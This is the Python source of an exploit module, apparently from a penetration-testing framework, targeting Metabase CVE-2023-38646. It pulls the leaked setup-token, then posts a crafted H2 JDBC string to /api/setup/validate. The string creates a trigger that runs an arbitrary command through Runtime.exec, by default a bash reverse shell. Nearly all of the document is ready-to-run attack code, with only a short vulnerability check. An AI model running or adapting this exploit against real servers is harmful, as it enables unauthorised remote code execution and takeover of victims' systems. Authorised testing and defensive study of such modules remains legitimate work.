Metabase CVE-2023-38646 H2 trigger RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Metabase CVE-2023-38646 pre-auth H2 JDBC trigger RCE (blind)."""

from __future__ import annotations

import json
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Metabase CVE-2023-38646 H2 trigger RCE",
        "description": (
            "CVE-2023-38646 (Metabase < 0.46.7): leaked setup-token plus "
            "/api/setup/validate H2 JDBC string runs a CREATE TRIGGER whose "
            "JavaScript body calls Runtime.exec (blind — confirm via callback or shell)."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2023-38646"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2023-38646",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["metabase", "h2", "jdbc", "rce", "unauth", "cve-2023-38646"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce", "shell"],
            "requires": {"tech_hints_any": ["metabase"]},
            "chain": {"suggested_followups": ["scanner/http/metabase_cve_2023_38646_detect"]},
        },
    }


    def _properties(self) -> dict:
        resp = self.http_request("GET", "/api/session/properties")
        if not resp or int(resp.status_code or 0) >= 400:
            return {}
        try:
            return resp.json()
        except Exception:
            return {}

    def _setup_token(self) -> str:
        props = self._properties()
        return str(props.get("setup-token") or "").strip()

    def _build_validate_body(self, token: str, cmd: str) -> dict:
        safe_cmd = str(cmd).replace("'", "\\'")
        db = (
            "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;"
            "TRACE_LEVEL_SYSTEM_OUT=1\\;"
            "CREATE TRIGGER pwn BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS "
            "$$//javascript\njava.lang.Runtime.getRuntime().exec('%s')\n$$--=x"
            % safe_cmd
        )
        return {
            "token": token,
            "details": {
                "is_on_demand": False,
                "is_full_sync": False,
                "is_sample": False,
                "cache_ttl": None,
                "refingerprint": False,
                "auto_run_queries": True,
                "schedules": {},
                "details": {"db": db, "advanced-options": False, "ssl": True},
                "name": "x",
                "engine": "h2",
            },
        }

    def _fire_validate(self, token: str, cmd: str) -> str:
        body = self._build_validate_body(token, cmd)
        resp = self.http_request(
            "POST",
            "/api/setup/validate",
            data=json.dumps(body),
            headers={"Content-Type": "application/json"},
        )
        return (resp.text or "") if resp else ""

    def execute(self, cmd: str) -> str:
        token = self._setup_token()
        if not token:
            raise RuntimeError("setup-token not exposed")
        body = self._fire_validate(token, cmd)
        return body[:2000]

    def check(self):
        props = self._properties()
        token = str(props.get("setup-token") or "").strip()
        ver = (props.get("version") or {}).get("tag", "")
        if token:
            return {
                "vulnerable": True,
                "reason": f"setup-token leaked (version {ver or 'unknown'})",
                "confidence": "high",
            }
        return {"vulnerable": False, "reason": "No setup-token in session/properties", "confidence": "medium"}

    def check_execute(self):
        token = self._setup_token()
        if not token:
            return False
        body = self._fire_validate(token, "true")
        low = (body or "").lower()
        return (
            "database cannot be found" in low
            or "trigger" in low
            or "syntax" in low
            or "h2" in low
            or bool(body)
        )

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Not vulnerable"))
            self.not_vulnerable()
            return False

        print_status("CVE-2023-38646 — Metabase H2 trigger (blind RCE)")
        if not self.check_execute():
            print_warning("Validate response unexpected — trigger may still have run")

        detail = self.execute(shell)
        if detail:
            print_info(f"Validate response (error expected): {detail[:500]}")

        if str(self.shell_from_payload() or "").strip():
            return True
        print_info("Confirm shell via reverse handler / side channel")
        return True